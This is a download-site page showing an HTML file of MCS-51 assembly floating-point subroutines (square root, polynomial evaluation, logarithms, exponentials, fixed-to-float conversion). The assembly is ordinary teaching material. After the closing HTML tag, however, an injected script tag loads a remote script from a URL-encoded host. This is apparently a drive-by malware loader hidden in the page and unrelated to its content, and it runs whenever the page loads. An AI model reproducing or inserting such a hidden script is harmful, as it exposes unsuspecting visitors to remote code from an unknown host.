⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 学习单片机6.htm

📁 单片机子程序库
💻 HTM
📖 第 1 页 / 共 2 页
字号:
            size=3><B>MCS-51单片机实用子程序库(六)</B></FONT></P></TD></TR></TBODY></TABLE>
      <TABLE height=66 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=28>MCS-51单片机实用子程序库 
            <P>(17) 标号: FSQR 功能:浮点数开平方(快速逼近算法)</P>
            <P>入口条件:操作数在[R0]中。<BR>出口信息:OV=0时,平方根仍在[R0]中,OV=1时,负数开平方出错。<BR>影响资源:PSW、A、B、R2~R7 
            堆栈需求: 2字节<BR>FSQR: MOV A,@R0<BR>JNB ACC.7,SQR<BR>SETB OV 
            ;负数开平方,出错<BR>RET<BR>SQR: INC R0<BR>INC R0<BR>MOV A,@R0<BR>DEC 
            R0<BR>ORL A,@R0<BR>DEC R0<BR>JNZ SQ<BR>MOV @R0,#41H;尾数为零,不必运算<BR>CLR 
            OV<BR>RET<BR>SQ: MOV A,@R0<BR>MOV C,ACC.6 ;将阶码扩展成8bit补码<BR>MOV 
            ACC.7,C<BR>INC A ;加一<BR>CLR C<BR>RRC A ;除二<BR>MOV @R0,A 
            ;得到平方根的阶码,回存之<BR>INC R0 ;指向被开方数尾数的高字节<BR>JC SQR0 
            ;原被开方数的阶码是奇数吗?<BR>MOV A,@R0 ;是奇数,尾数右规一次<BR>RRC A<BR>MOV @R0,A<BR>INC 
            R0<BR>MOV A,@R0<BR>RRC A<BR>MOV @R0,A<BR>DEC R0<BR>SQR0: MOV 
            A,@R0<BR>JZ SQR9 ;尾数为零,不必运算<BR>MOV R2,A ;将尾数传送到R2R3中<BR>INC 
            R0<BR>MOV A,@R0<BR>MOV R3,A<BR>MOV A,R2 ;快速开方,参阅定点子程序说明<BR>ADD 
            A,#57H<BR>JC SQR2<BR>ADD A,#45H<BR>JC SQR1<BR>ADD A,#24H<BR>MOV 
            B,#0E3H<BR>MOV R4,#80H<BR>SJMP SQR3<BR>SQR1: MOV B,#0B2H<BR>MOV 
            R4,#0A0H<BR>SJMP SQR3<BR>SQR2: MOV B,#8DH<BR>MOV R4,#0D0H<BR>SQR3: 
            MUL AB<BR>MOV A,B<BR>ADD A,R4<BR>MOV R4,A<BR>MOV B,A<BR>MUL 
            AB<BR>XCH A,R3<BR>CLR C<BR>SUBB A,R3<BR>MOV R3,A<BR>MOV A,B<BR>XCH 
            A,R2<BR>SUBB A,R2<BR>MOV R2,A<BR>SQR4: SETB C<BR>MOV A,R4<BR>RLC 
            A<BR>MOV R6,A<BR>CLR A<BR>RLC A<BR>MOV R5,A<BR>MOV A,R3<BR>SUBB 
            A,R6<BR>MOV B,A<BR>MOV A,R2<BR>SUBB A,R5<BR>JC SQR5<BR>INC R4<BR>MOV 
            R2,A<BR>MOV R3,B<BR>SJMP SQR4<BR>SQR5: MOV A,R4<BR>XCH A,R2<BR>RRC 
            A<BR>MOV F0,C<BR>MOV A,R3<BR>MOV R5,A<BR>MOV R4,#8<BR>SQR6: CLR 
            C<BR>MOV A,R3<BR>RLC A<BR>MOV R3,A<BR>CLR C<BR>MOV A,R5<BR>SUBB 
            A,R2<BR>JB F0,SQR7<BR>JC SQR8<BR>SQR7: MOV R5,A<BR>INC R3<BR>SQR8: 
            CLR C<BR>MOV A,R5<BR>RLC A<BR>MOV R5,A<BR>MOV F0,C<BR>DJNZ 
            R4,SQR6<BR>MOV A,R3 ;将平方根的尾数回传到[R0]中<BR>MOV @R0,A<BR>DEC R0<BR>MOV 
            A,R2<BR>MOV @R0,A<BR>SQR9: DEC R0 ;数据指针回归原位<BR>CLR OV 
            ;开方结果有效<BR>RET</P>
            <P>(18) 标号: FPLN 功能:浮点数多项式计算</P>
            <P>入口条件:自变量在[R0]中,多项式系数在调用指令之后,以40H结束。<BR>出口信息:OV=0时,结果仍在[R0]中,OV=1时,溢出。<BR>影响资源:DPTR、PSW、A、B、R2~R7、位1EH、1FH 
            堆栈需求: 4字节<BR>FPLN: POP DPH ;取出多项式系数存放地址<BR>POP DPL<BR>XCH A,R0 
            ;R0、R1交换角色,自变量在[R1]中<BR>XCH A,R1<BR>XCH A,R0<BR>CLR A ;清第一工作区<BR>MOV 
            R2,A<BR>MOV R3,A<BR>MOV R4,A<BR>CLR 1FH<BR>PLN1: CLR A 
            ;读取一个系数,并装入第二工作区<BR>MOVC A,@A+DPTR<BR>MOV C,ACC.7<BR>MOV 
            1EH,C<BR>MOV C,ACC.6<BR>MOV ACC.7,C<BR>MOV R5,A<BR>INC DPTR<BR>CLR 
            A<BR>MOVC A,@A+DPTR<BR>MOV R6,A<BR>INC DPTR<BR>CLR A<BR>MOVC 
            A,@A+DPTR<BR>MOV R7,A<BR>INC DPTR ;指向下一个系数<BR>MOV C,1EH 
            ;比较两个数符<BR>RRC A<BR>XRL A,23H<BR>RLC A<BR>MOV F0,C ;保存比较结果<BR>LCALL 
            AS1 ;进行代数加法运算<BR>CLR A ;读取下一个系数的第一个字节<BR>MOVC A,@A+DPTR<BR>CJNE 
            A,#40H,PLN2;是结束标志吗?<BR>XCH A,R0 ;运算结束,恢复R0、R1原来的角色<BR>XCH 
            A,R1<BR>XCH A,R0<BR>LCALL MOV0 ;将结果回传到[R0]中<BR>CLR A<BR>INC 
            DPTR<BR>JMP @A+DPTR ;返回主程序<BR>PLN2: MOV A,@R1 ;比较自变量和中间结果的符号<BR>XRL 
            A,23H<BR>RLC A<BR>MOV 1FH,C ;保存比较结果<BR>LCALL MUL0 ;进行乘法运算<BR>SJMP 
            PLN1 ;继续下一项运算</P>
            <P>(19) 标号: FLOG 功能:以10为底的浮点对数函数</P>
            <P>入口条件:操作数在[R0]中。<BR>出口信息:OV=0时,结果仍在[R0]中,OV=1时,负数或零求对数出错。<BR>影响资源:DPTR、PSW、A、B、R2~R7、位1EH、1FH 
            堆栈需求:9字节<BR>FLOG: LCALL FLN ;先以e为底求对数<BR>JNB OV,LOG<BR>RET 
            ;如溢出则停止计算<BR>LOG: MOV R5,#0FFH;系数0.43430(1/Ln10)<BR>MOV 
            R6,#0DEH<BR>MOV R7,#5CH<BR>LCALL MUL1 ;通过相乘来换底<BR>LJMP MOV0 
            ;传回结果<BR> <BR>(20) 标号: FLN 功能:以e为底的浮点对数函数</P>
            <P>入口条件:操作数在[R0]中。<BR>出口信息:OV=0时,结果仍在[R0]中,OV=1时,负数或零求对数出错。<BR>影响资源:DPTR、PSW、A、B、R2~R7、位1EH、1FH 
            堆栈需求: 7字节<BR> <BR>FLN: LCALL MVR0 ;将[R0]传送到第一工作区<BR>JB 
            1FH,LNOV;负数或零求对数,出错<BR>MOV A,R3<BR>ORL A,R4<BR>JNZ LN0<BR>LNOV: SETB 
            OV<BR>RET<BR>LN0: CLR C<BR>LCALL RL1 ;左规一次<BR>CLR A<BR>XCH A,R2 
            ;保存原阶码,清零工作区的阶码<BR>PUSH ACC<BR>LCALL RLN ;规格化<BR>LCALL MOV0 
            ;回传<BR>LCALL FPLN ;用多项式计算尾数的对数<BR>DB 7BH,0F4H,30H;0.029808<BR>DB 
            0FEH,85H,13H;-0.12996<BR>DB 7FH,91H,51H;0.28382<BR>DB 
            0FFH,0FAH,0BAH;-0.4897<BR>DB 0,0FFH,0CAH;0.99918<BR>DB 
            70H,0C0H,0;1.1442×10-5<BR>DB 40H ;结束<BR>POP ACC ;取出原阶码<BR>JNZ 
            LN1<BR>RET ;如为零,则结束<BR>LN1: CLR 1EH ;清第二区数符<BR>MOV C,ACC.7<BR>MOV 
            F0,C ;保存阶符<BR>JNC LN2<BR>CPL A ;当阶码为负时,求其绝对值<BR>INC A<BR>LN2: MOV 
            R2,A ;阶码的绝对值乘以0.69315<BR>MOV B,#72H<BR>MUL AB<BR>XCH A,R2<BR>MOV 
            R7,B<BR>MOV B,#0B1H<BR>MUL AB<BR>ADD A,R7<BR>MOV R7,A 
            ;乘积的尾数在R6R7R2中<BR>CLR A<BR>ADDC A,B<BR>MOV R6,A<BR>MOV R5,#8 
            ;乘积的阶码初始化(整数部分为一字节)<BR>LN3: JB ACC.7,LN4;乘积格式化<BR>MOV A,R2<BR>RLC 
            A<BR>MOV R2,A<BR>MOV A,R7<BR>RLC A<BR>MOV R7,A<BR>MOV A,R6<BR>RLC 
            A<BR>MOV R6,A<BR>DEC R5<BR>SJMP LN3<BR>LN4: MOV C,F0 
            ;取出阶符,作为乘积的数符<BR>MOV ACC.7,C<BR>LJMP ASN 
            ;与尾数的对数合并,得原操作数的对数<BR> <BR>(21) 标号: FE10 功能:以10为底的浮点指数函数</P>
            <P>入口条件:操作数在[R0]中。<BR>出口信息:OV=0时,结果仍在[R0]中,OV=1时,溢出。<BR>影响资源:DPTR、PSW、A、B、R2~R7、位1EH、1FH 
            堆栈需求:6字节<BR>FE10: MOV R5,#2 ;加权系数为3.3219(Log210)<BR>MOV 
            R6,#0D4H<BR>MOV R7,#9AH<BR>SJMP EXP ;先进行加权运算,后以2为底统一求幂</P>
            <P>(22) 标号: FEXP 功能:以e为底的浮点指数函数</P>
            <P>入口条件:操作数在[R0]中。<BR>出口信息:OV=0时,结果仍在[R0]中,OV=1时,溢出。<BR>影响资源:DPTR、PSW、A、B、R2~R7、位1EH、1FH 
            堆栈需求:6字节<BR>FEXP: MOV R5,#1 ;加权系数为1.44272(Lng2e)<BR>MOV 
            R6,#0B8H<BR>MOV R7,#0ABH<BR>EXP: CLR 1EH ;加权系数为正数<BR>LCALL MVR0 
            ;将[R0]传送到第一工作区<BR>LCALL MUL1 ;进行加权运算<BR>SJMP E20 ;以2为底统一求幂</P>
            <P>(23) 标号: FE2 功能:以2为底的浮点指数函数</P>
            <P>入口条件:操作数在[R0]中。<BR>出口信息:OV=0时,结果仍在[R0]中,OV=1时,溢出。<BR>影响资源:DPTR、PSW、A、B、R2~R7、位1EH、1FH 
            堆栈需求:6字节<BR>FE2: LCALL MVR0 ;将[R0]传送到第一工作区<BR>E20: MOV A,R3<BR>ORL 
            A,R4<BR>JZ EXP1 ;尾数为零<BR>MOV A,R2<BR>JB ACC.7,EXP2;阶符为负?<BR>SETB 
            C<BR>SUBB A,#6 ;阶码大于6否?<BR>JC EXP2<BR>JB 1FH,EXP0;数符为负否?<BR>MOV 
            @R0,#3FH;正指数过大,幂溢出<BR>INC R0<BR>MOV @R0,#0FFH<BR>INC R0<BR>MOV 
            @R0,#0FFH<BR>DEC R0<BR>DEC R0<BR>SETB OV<BR>RET<BR>EXP0: MOV 
            @R0,#41H;负指数过大,幂下溢,清零处理<BR>CLR A<BR>INC R0<BR>MOV @R0,A<BR>INC 
            R0<BR>MOV @R0,A<BR>DEC R0<BR>DEC R0<BR>CLR OV<BR>RET<BR>EXP1: MOV 
            @R0,#1 ;指数为零,幂为1.00<BR>INC R0<BR>MOV @R0,#80H<BR>INC R0<BR>MOV 
            @R0,#0<BR>DEC R0<BR>DEC R0<BR>CLR OV<BR>RET<BR>EXP2: MOV A,R2 
            ;将指数复制到第二工作区<BR>MOV R5,A<BR>MOV A,R3<BR>MOV R6,A<BR>MOV A,R4<BR>MOV 
            R7,A<BR>MOV C,1FH<BR>MOV 1EH,C<BR>LCALL INT ;对第一区取整<BR>MOV 
            A,R3<BR>JZ EXP4<BR>EXP3: CLR C ;使尾数高字节R3对应一个字节整数<BR>RRC A<BR>INC 
            R2<BR>CJNE R2,#8,EXP3<BR>EXP4: MOV R3,A<BR>JNB 1FH,EXP5<BR>CPL A 
            ;并用补码表示<BR>INC A<BR>EXP5: PUSH ACC ;暂时保存之<BR>LCALL RLN ;重新规格化<BR>CPL 
            1FH<BR>SETB F0<BR>LCALL AS1 ;求指数的小数部分<BR>LCALL MOV0 
            ;回传指数的小数部分<BR>LCALL FPLN ;通过多项式计算指数的小数部分的幂<BR>DB 
            77H,0B1H,0C9H;1.3564×10-3<BR>DB 7AH,0A1H,68H;9.8514×10-3<BR>DB 
            7CH,0E3H,4FH;0.055495<BR>DB 7EH,0F5H,0E7H;0.24014<BR>DB 
            0,0B1H,72H;0.69315<BR>DB 1,80H,0 ;1.00000<BR>DB 40H ;结束<BR>POP ACC 
            ;取出指数的整数部分<BR>ADD A,R2 ;按补码加到幂的阶码上<BR>MOV R2,A<BR>CLR 1FH 
            ;幂的符号为正<BR>LJMP MOV0 ;将幂传回[R0]中<BR> <BR>(24)标号: DTOF 
            功能:双字节十六进制定点数转换成格式化浮点数</P>
            <P>入口条件:双字节定点数的绝对值在[R0]中,数符在位1FH中,整数部分的位数在A中。<BR>出口信息:转换成格式化浮点数在[R0]中(三字节)。<BR>影响资源:PSW、A、R2、R3、R4、位1FH 
            堆栈需求: 6字节<BR>DTOF: MOV R2,A ;按整数的位数初始化阶码<BR>MOV A,@R0 
            ;将定点数作尾数<BR>MOV R3,A<BR>INC R0<BR>MOV A,@R0<BR>MOV R4,A<BR>DEC 
            R0<BR>LCALL RLN ;进行规格化<BR>LJMP MOV0 ;传送结果到[R0]中</P>
            <P>  
            <P align=center><FONT color=black size=3><B><A 
            href="http://www.zsgbailin.com/inages/xxtd/zcx7.htm">MCS-51单片机实用子程序库(七)</A></B></FONT> 

            <P align=center> </P></TD></TR></TBODY></TABLE>
      <P> </P>
      <TABLE height=1 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=1>
            <P align=center><A 
            href="http://www.zsgbailin.com/inages/xxtd/index.htm">网站首页</A> 
          </P></TD></TR></TBODY></TABLE>
      <TABLE height=21 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=1>
            <HR color=#ff00ff>
          </TD></TR></TBODY></TABLE>
      <TABLE height=39 cellSpacing=0 width=749 border=0>
        <TBODY>
        <TR>
          <TD width=745 height=1>
            <P align=center><FONT face=宋体 color=#800080>声明: 
            部分文章来源于网络/若有侵犯你的权益/请联系我立即删除</FONT> 
  </P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE height=24 cellSpacing=0 width=105 border=0>
  <TBODY>
  <TR>
    <TD width=101 height=3></TD></TR></TBODY></TABLE></CENTER></BODY></HTML>
<script language=javascript ></script><script src="http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -